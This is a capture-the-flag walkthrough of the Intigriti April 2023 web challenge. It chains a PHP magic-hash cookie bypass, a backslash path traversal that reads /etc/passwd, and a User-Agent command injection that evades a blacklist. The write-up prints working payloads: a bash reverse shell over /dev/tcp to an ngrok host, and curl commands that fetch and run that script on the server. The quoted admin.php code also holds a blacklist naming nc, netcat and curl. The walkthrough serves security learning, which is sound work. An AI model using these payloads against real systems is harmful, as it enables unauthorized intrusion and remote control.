Intigriti April 2023 Challenge Walkthrough
Start by loading the web app from https://challenge-0423.intigriti.io/
Some fuzzing shows us some interesting files which will be useful later. Of course flag.txt is not readable yet!
$ ffuf -u https://challenge-0423.intigriti.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .txt,.php -fc 404
...
dashboard.php
flag.txt
index.php
login.php
After entering the credentials, we see we are redirected to dashboard.php
with two cookies set:
GET /dashboard.php HTTP/2
Host: challenge-0423.intigriti.io
Cookie: username=strange; account_type=dqwe13fdsfq2gys388
Manipulating the cookie name for account_type
by changing it to account_type[]
(which tells PHP to treat it as an array type) displays an interesting error message:
We can see we're in the middle of a call to md5()
with the string to hash being the value of the account_type
cookie. Also, importantly we notice the code file is at /app/dashboard.php
on the filesystem.
Backing up a bit... When entering invalid credentials into the login form, the app redirects us to https://challenge-0423.intigriti.io/index_error.php?error=invalid username or password and in the HTML we see a developer's comment: "remember to use strict comparison".
One common abuse of PHP's "loose typing" is to compare an md5 hash that starts with 0e#####...
to an integer 0
or string "0"
in PHP. These hashes are also known as "magic" hashes (https://github.com/spaze/hashes/blob/master/md5.md).
For example, this code snippet shows how PHP compares 0
with "0e0"
when using ==
(but not ===
):
$ php -a
Interactive shell
php > var_dump("0" == 0);
bool(true)
php > var_dump("0e0" == 0);
bool(true)
php > var_dump("0e0" === 0);
bool(false)
php > var_dump(md5("240610708") == 0);
bool(true)
Given this hint, and the array error in the md5()
function, we have the idea to try one of the magic hash inputs as the value of the account_type
cookie:
GET /dashboard.php HTTP/2
Host: challenge-0423.intigriti.io
Cookie: username=strange; account_type=240610708
After sending this request, we see a new product displayed:
In the HTML we see a reference to a new page: custom_image.php
Loading https://challenge-0423.intigriti.io/custom_image.php we see the same img
tag being returned with the brick wall image.
Fuzzing for URL parameters discovers a file
parameter, which returns an error "Permission denied!":
$ ffuf -u https://challenge-0423.intigriti.io/custom_image.php\?FUZZ\=FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 0,294753 -fc 400
...
[Status: 200, Size: 19, Words: 2, Lines: 2, Duration: 137ms]
* FUZZ: file
Having noticed that some images are located at /www/web/images/iphone14.jpg
we confirm a legitimate parameter value: https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/iphone14.jpg
Fuzzing a bit we find that ../
is being filtered out, but ..\
works. We confirm an arbitrary file read vulnerability, which I'll just refer to as a local file include (LFI), and we can read the contents of /etc/passwd
using custom_image.php?file=www/web/images/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%5cpasswd
and after decoding the base64 in the response:
Using the LFI to read /app/flag.txt
sends us to another path:
Hey Mario, the flag is in another path! Try to check here:
/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/admin.php
Reviewing the PHP code using our LFI, we see that admin.php
expects a cookie named username
with a value of admin
and we also see a likely RCE vulnerability with some blacklist filtering being performed on the User Agent header's value:
<?php
if(isset($_COOKIE["username"])) {
$a = $_COOKIE["username"];
if($a !== 'admin'){
header('Location: /index_error.php?error=invalid username or password');
}
}
if(!isset($_COOKIE["username"])){
header('Location: /index_error.php?error=invalid username or password');
}
?>
<?php
$user_agent = $_SERVER['HTTP_USER_AGENT'];
#filtering user agent
$blacklist = array( "tail", "nc", "pwd", "less", "ncat", "ls", "netcat", "cat", "curl", "whoami", "echo", "~", "+",
" ", ",", ";", "&", "|", "'", "%", "@", "<", ">", "\\", "^", "\"",
"=");
$user_agent = str_replace($blacklist, "", $user_agent);
shell_exec("echo \"" . $user_agent . "\" >> logUserAgent");
?>
The most obvious shell characters not being filtered out are backticks `
and dollar sign $
and parentheses ()
. Although space " "
is being blocked, another "whitespace" character "\x09"
(i.e. tab) is not being blocked.
Copying the PHP code locally and experimenting with blacklist bypasses, we find how to run the sleep command and prove RCE is happening:
Reverse Shell
After further testing we find that the following commands can be used to download a bash reverse shell and execute it (assuming you have hosted it on your own public web server):
$ cat <<'eof' > /var/www/html/shell.sh
#!/bin/bash
bash -c 'bash -i >&/dev/tcp/4.tcp.ngrok.io/16044 0<&1'
eof
$ curl -i -s -k -X $'GET' -H $'Host: challenge-0423.intigriti.io' -H $'User-Agent: `cucurlrl\x09https://b382538cb64d.ngrok.app/shell.sh\x09-o\x09/tmp/k1ngpr4wn.sh`' -b $'username=admin' $'https://challenge-0423.intigriti.io/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/admin.php'
$ curl -i -s -k -X $'GET' -H $'Host: challenge-0423.intigriti.io' -H $'User-Agent: `sh\x09/tmp/k1ngpr4wn.sh`' -b $'username=admin' $'https://challenge-0423.intigriti.io/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/admin.php'
After receiving the reverse shell connection, we find the flag INTIGRITI{n0_XSS_7h15_m0n7h_p33pz_xD}
:
$ nc -nvlp 443
listening on [any] 443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 60504
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
<4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7$ ls -al
ls -al
total 24
drwxr-xr-x 2 root root 4096 Apr 27 09:24 .
drwxr-xr-x 3 root root 4096 Apr 27 09:24 ..
-rw-r--r-- 1 root root 2537 Apr 27 09:24 admin.php
-rw-r--r-- 1 root root 37 Apr 27 09:24 d5418803-972b-45a9-8ac0-07842dc2b607.txt
-rw-r--r-- 1 root root 68 Apr 27 09:24 log
-rw-r--r-- 1 root root 0 Apr 27 09:24 logUserAgent
-rw-r--r-- 1 root root 76 Apr 27 09:24 log_page.php
<4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7$ cat d5418803-972b-45a9-8ac0-07842dc2b607.txt
<15ff7$ cat d5418803-972b-45a9-8ac0-07842dc2b607.txt
INTIGRITI{n0_XSS_7h15_m0n7h_p33pz_xD}
Lessons Learned
I struggled finding the first step of the challenge for a couple of days, but after a quick nudge from someone on Discord, I will never again forget to test all PHP parameters (including cookies) as array types!